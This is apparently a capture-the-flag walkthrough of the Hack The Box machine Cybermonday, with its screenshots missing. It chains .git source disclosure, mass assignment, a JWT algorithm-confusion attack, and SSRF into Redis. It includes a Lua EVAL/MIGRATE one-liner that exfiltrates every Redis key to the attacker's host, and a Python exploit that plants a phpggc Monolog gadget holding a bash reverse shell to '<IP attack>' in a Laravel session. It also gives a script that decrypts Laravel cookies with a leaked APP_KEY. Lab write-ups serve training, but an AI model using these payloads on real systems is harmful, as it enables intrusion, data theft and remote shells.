Enumeration
Zenmap:
Website:
Show website:
Sign up an account and show website:Website debug:
Read source code from .git directory, using any tool like: git, git-gui, ...
The source code is in the ProfileController.php file. If you can't get the .git folder, you can also view the contents of the ProfileController.php file in the debug page:
Looking at the source code, I see that except for ["_token","password","password_confirmation"] all api input parameters are saved with $user->update($data); into the database. From the source code in git or the debug page, I know that the user info looks like this:Website admin:
Webhook:
Making a call to test each api, I know I can sign up, login, delete webhook,... Action sendRequest, is the only api that I can't do, api webhooks/create always says Unauthorized. I need the webhooks/create api to work.
I know that I can find the public key in this domain:
Search google then I found this: Performing an algorithm confusion attackThis part will install in the burp I will not repeat this part in the article.
After the installation is complete, I have key pair as:
Call the webhook/create api with the x-access-token I created earlier and redirect to burp:
I can create an api that calls the sendRequest action.
Call the webhook/create api with the x-access-token I created earlier and redirect to burp:
I can create an api that calls the sendRequest action.
Forward packet to Repeater in burp, set role as admin, click Sign in and send packet.
Now, I have api that can send sendRequest action. Check it out:PS D:\thehackbox\Machines\Cybermonday> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [21/Aug/2023 23:47:54] "GET / HTTP/1.1" 200 -
Try inserting some special characters, I get the following results:
Then I get a connection from the server:PS D:\thehackbox\Machines\Cybermonday> ncat.exe -l 80
GET
POST / HTTP/1.1
Host: <IP attack>
Accept: */*
Redis
I know that I can split of method in the sendRequest action.At domain cybermonday.htb I know that this service is written in laravel so it will also follow laravel's structure. I check some files may exist like .env, Dockerfile,...
I got the .env file, The file has the following content:
REDIS_HOST=*****
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
I have a redis host, I guess I can exploit from redis.I experimented with some of the content I found: RCE Exploits of Redis Based on Master-Slave Replication Exploiting Redis Through SSRF Attack
Then I get a connection from redis server that looks like this:I made the mistake of running the above redis command, it tells me that I can insert the command into the redis server but it gives me the website error like this:
I will end the slave to end this error, there are other ways as well.
Then the website was back to normal.Looking to be able to see the keys in redis.
To get all the keys in redis I use the command KEYS: KEYS
Besides that I need to write a script using EVAL, it uses lua language for the purpose of traversing all the keys that i get in redis: EVAL
MIGRATE command in redis can help me to send key and value to my machine: MIGRATE
Then I get a connection from the server:
EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"<IP attack>\",\"6379\",v,0,10000) end' 0\r\n\r\n
Send command:Gaining access www-data
I have the following exploit code:
import requests
from base64 import b64decode
import subprocess
CLRF = "\r\n"
def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
if isinstance(arg, bytes):
arg = arg.decode()
cmd += CLRF + arg
cmd += "\r\n"
return cmd
def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" "))
b64_payload = subprocess.check_output("""./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<IP attack>/8888 0>&1'" -A | base64 -w0""", shell=True).decode().strip()
payload = CLRF
payload += encode_cmd_arr(['SET', 'laravel_session:b55dpnaGBgJLHzsZABshRW2rj3Q0uTtVkZMkZ1hb', b64decode(b64_payload)])
r = requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/c08b88f2-f22d-4559-8360-a0421d851343', json={
'url': 'http://*****:6379',
'method': payload
}, proxies={
'http': 'http://<IP burp proxy>:<PORT burp proxy>'
})
print(r.text)
There are many different payloads. I will test other payloads manually later.
Executing the exploit. Then, I check if the redis key has been changed or not:
I see that the content key has been changed, Reload the website and I get revershell:Method New
I know that when I receive the file .env:
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:*****************************************zA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
I have APP_KEY, Search for Laravel exploit: Laravel
Decode token with app_key:
First, check the burp I have the following token:
Edit code:import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='*****************************************zA='
key = base64.b64decode(app_key)
print(decrypt('eyJpdiI6IktSSi9XT3RVdEk2eFpkelBKRXBldkE9PSIsInZhbHVlIjoiZDl1U2lVbnBZbFJuWWR6UEVqTXJUSnRwYytuSVJqeFVWY2hUUWw5RXZneis3QUpyY0U1a0NQU05EUTFmRW55OVQ3WDMxVTBXeUVHVTFqekNSajNGa3djdnFiWFdnU3lZNDhWaTdrWGF6R1p5ZHk3eUIyQ1hZSkRFMHpZNktoclkiLCJtYWMiOiJhMDE0NjQyN2QxYzY3YmExN2ZhYmI1NmE2ZDA1ODQzNWJiYzYyM2Y5MGE0YTJiNjAzNjk2NWYyMDAxMTMzNGFmIiwidGFnIjoiIn0='))
Run exploit:
Decrypt the token, I see: LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2Check if key exists in redis:
MIGRATE <IP attack> 6379 laravel_session:LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2 0 5000\r\n\r\n
Start exploit, I create payload:
Reload the web page and I got the shell:
$ ./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<ip attack>/8888 0>&1'" -A
O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:9:"\00\2a\00\73\6f\63\6b\65\74";O:29:"Monolog\Handler\BufferHandler":7:{S:10:"\00\2a\00\68\61\6e\64\6c\65\72";r:2;S:13:"\00\2a\00\62\75\66\66\65\72\53\69\7a\65";i:-1;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{i:0;a:2:{i:0;S:50:"\62\61\73\68\20\2d\63\20\27\62\61\73\68\20\2d\69\20\3e\26\20\2f\64\65\76\2f\74\63\70\2f\31\30\2e\31\30\2e\31\36\2e\34\2f\38\38\38\38\20\30\3e\26\31\27";S:5:"\6c\65\76\65\6c";N;}}S:8:"\00\2a\00\6c\65\76\65\6c";N;S:14:"\00\2a\00\69\6e\69\74\69\61\6c\69\7a\65\64";b:1;S:14:"\00\2a\00\62\75\66\66\65\72\4c\69\6d\69\74";i:-1;S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}
Then I edit the key value to be my payload:Alternatively I can also use slaveof:
Start redis server on my computer.
Connect the redis server on the box to the redis server on my machine:Then my redis server log will get the following:
Reload the website and I got the shell.